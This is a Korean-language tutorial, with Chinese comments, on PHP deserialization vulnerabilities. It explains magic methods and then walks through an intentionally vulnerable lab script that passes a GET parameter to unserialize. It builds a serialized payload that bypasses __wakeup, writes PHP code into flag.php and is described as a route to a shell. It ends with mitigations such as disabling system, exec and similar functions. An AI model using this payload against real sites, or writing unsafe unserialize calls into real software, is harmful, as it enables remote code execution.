역직렬화 취약점
0x01.직렬화와 역직렬화란 무엇입니까?
직렬화(Serialization): 변수를 저장하거나 전송할 수 있는 문자열로 변환하는 프로세스 역
직렬화(Deserialization): 직렬화된 문자열을 원래의 변수로 변환하여 사용 가능
기능: 데이터를 쉽게 저장하고 전송할 수 있어 프로그램 유지 관리가 용이함
0x02. 왜 직렬화가 있나요?
직렬화는 유형과 구조를 잃지 않고 PHP에 값을 저장하거나 전달하는 프로세스입니다.
0x03. 직렬화 및 역직렬화 코드 예제
<?php
class User
{
public $username = 'admin';
public $password = '123456';
}
// 序列化操作
$user = new User();
$str_ser = serialize($user);
echo "序列化结果为:\n";
var_dump($str_ser);
echo "反序列化结果为:\n";
// 反序列化操作
$str_uns = 'O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";}';
$str = unserialize($str_uns);
var_dump($str);
?>
실행 결과:
직렬화 후 형식은 다음과 같습니다.
0x04. 매직 메소드
매직 메소드는 객체지향 PHP의 고유한 기능입니다. 특정 상황에서 발생하며 모두 이중 밑줄로 시작하므로 후크로 이해할 수 있습니다. 패턴 메소드를 사용하면 PHP 객체지향에서 오버로딩을 쉽게 구현할 수 있습니다(오버로딩은 클래스 속성과 메소드를 동적으로 생성하는 것을 의미합니다).
1.__construct,__destruct
__constuct构建对象的时被调用;
__destruct明确销毁对象或脚本结束时被调用;
2.__get,__set
__set当给不可访问或不存在属性赋值时被调用
__get读取不可访问或不存在属性时被调用
3.__isset,__unset
__isset对不可访问或不存在的属性调用isset()或empty()时被调用
__unset对不可访问或不存在的属性进行unset时被调用
4.__sleep,__wakeup
__sleep当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__wakeup当使用unserialize时被调用,可用于做些对象的初始化操作
0x05. 역직렬화 취약점의 원인
unserialize()에 전달된 매개 변수를 제어할 수 있으면 신중하게 구성된 페이로드가 주입될 수 있으며, 역직렬화 시 개체의 일부 매직 메서드가 트리거되어 악의적인 명령 실행이 발생할 수 있습니다!
0x06.역직렬화 취약점 예시
(1) 테스트 코드는 다음과 같습니다.
<?php
header("Content-Type:text/html;charset=utf-8");
class vFREE{
public $name='vFREE';
public $age='18';
function __wakeup(){
$this->age = "18";
echo("执行了wakeup魔术方法<br>");
}
function __destruct(){
echo("执行了destruct魔术方法");
$path='flag.php';
$file_get=file_put_contents($path,$this->name);
}
}
$flag = $_GET['flag'];
$unser = unserialize($flag);
?>
설명: deserialization 함수 unserialize는 클래스 외부에서 사용되는데, 이 함수를 사용하면 vFREE 클래스에 __wakeup 메소드가 있는지 확인하는 것과 같으며, __wakeup 메소드가 있으면 실행됩니다. 당연히 코드에는 wakeup이 있지만 wakeup의 내용은 할당 연산으로 큰 역할은 하지 않습니다. 대신 destruct에서 flag.php 파일을 열기 때문에 destruct에서 사용할 수 있습니다. , $this->name 값을 내용으로 작성합니다. flag.php로 이동하여 Trojan을 작성하면 Getshell을 사용할 수 있습니다.
(2) 매개변수 플래그를 전달하고 전달된 값을 deserialization 함수에 넣어 실행해야 하므로 전달하려는 내용은 직렬화된 문자열이어야 하며 이때 vFREE화처럼 순서를 지정해야 하며 코드는 다음과 같습니다. 다음과 같이:
<?php
class vFREE{
public $name='vFREE';
public $age='18';
function __wakeup(){
$this->age = "18";
}
function __destruct(){
$path='flag.php';
$file_get=file_put_contents($path,$this->name);
}
}
$test = new vFREE();
$str = serialize($test);
var_dump($str);
?>
得到序列化后的结果:O:5:"vFREE":2:{
s:4:"name";s:5:"vFREE";s:3:"age";s:2:"18";}
(3) 웨이크업 방법을 우회합니다.
wakeup 메소드를 우회하고 destruct를 직접 실행하고 쉘에 쓰기:
원래 속성 값을 변경하여 wakeup 우회 효과를 얻습니다. 이때 클래스의 속성 값은 2입니다. 속성 값만 다음과 같이 변경하면 됩니다. 우회하려면 2보다 크고, 우회하려면 다음과 같이 5로 변경합니다.
O:5:"vFREE":5:{
s:4:"name";s:18:"<?php phpinfo();?>";s:3:"age";s:2:"18";}
(4) 악성 페이로드를 전달하고 flag.php 생성에 성공합니다.
(5) 생성된 flag.php를 확인하고 성공적으로 사용
0x07. 역직렬화 취약점 방지
(1)安全配置好php相关参数
通过Php配置文件里面有个disable_functions = 配置
这个禁止某些php函数,服务器便是用这个来禁止php的执行命令函数
#禁止这些函数来执行系统命令
例:disable_functions =system,passthru,shell_exec,exec,popen
(2)严格控制传入变量,严谨使用魔法函数